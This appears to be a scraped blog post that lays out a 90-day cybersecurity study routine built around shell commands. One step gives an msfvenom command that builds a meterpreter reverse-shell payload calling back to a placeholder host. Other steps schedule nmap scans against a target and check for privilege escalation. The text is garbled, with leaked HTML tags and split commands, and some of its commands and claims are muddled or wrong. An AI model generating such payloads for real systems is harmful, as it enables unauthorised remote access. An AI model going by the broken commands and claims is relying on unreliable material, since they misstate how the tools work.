Three months can redefine your career—especially in cybersecurity. Here’s how to align Anisha Jain’s motivational framework with actionable IT/cyber strategies.
Step 1: Set Clear Cyber Goals
- Define Objectives:
- Example: “Master Linux pentesting in 90 days.”
- Break into tasks:
- Week 1-4: Learn Bash scripting (
for loops
,awk/sed
). - Week 5-8: Practice Metasploit (
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=YOUR_IP -f elf > payload.elf
). - Week 9-12: Execute CTF challenges (Try Hack The Box).
- Track Progress: Use `journalctl` (Linux) or `Get-WinEvent` (Windows) to log daily activities.
Step 2: Build a Hacker’s Routine
- Daily Schedule:
- 7 AM: Study OWASP Top 10 (
docker run -it owasp/glue:latest
). - 2 PM: Practice Python exploits (
python3 -c 'import socket; socket.create_connection(("target.com", 80))'
). - 8 PM: Review firewall rules (
sudo iptables -L -n -v
). - Tools to Automate:
- Cron jobs (
crontab -e
) for repetitive tasks (e.g.,0 3 nmap -sV target.com
).
Step 3: Stay Accountable (Cyber Edition)
- Share Goals: Join TryHackMe Discord for peer reviews.
- Check-Ins: Use `git commit -m “Daily progress:
"` to document code practice. </li> <li>Celebrate Wins: Unlocked a machine? Reward with a new tool (<code>sudo apt install maltego</code>). </li> </ul> <h2 style="color: yellow;">You Should Know: Critical Cyber Commands</h2> <ul> <li>Linux: [bash] Network recon sudo tcpdump -i eth0 'port 22' -w ssh_traffic.pcap Privilege escalation sudo -l | grep "(ALL)"
- Windows:
Check active connections netstat -ano | findstr ESTABLISHED Disable suspicious service sc stop "UnknownService"
- Forensics:
Analyze memory dumps volatility -f memory.dump --profile=Win10 pslist
What Undercode Say
90 days can turn a novice into a threat hunter. Consistency beats intensity—automate (Ansible
), document (CherryTree
), and attack ethically. The difference between a script kiddie and a pro? Daily grep
, chmod
, and sudo
.
Prediction: By 2025, AI-driven attacks will demand 3x faster response times. Start hardening systems now (sudo ufw enable
).
Expected Output:
- A structured 90-day cyber skill tracker.
- Logs of daily commands (
history > cyber_journal.txt
). - At least 5 HTB machines rooted.
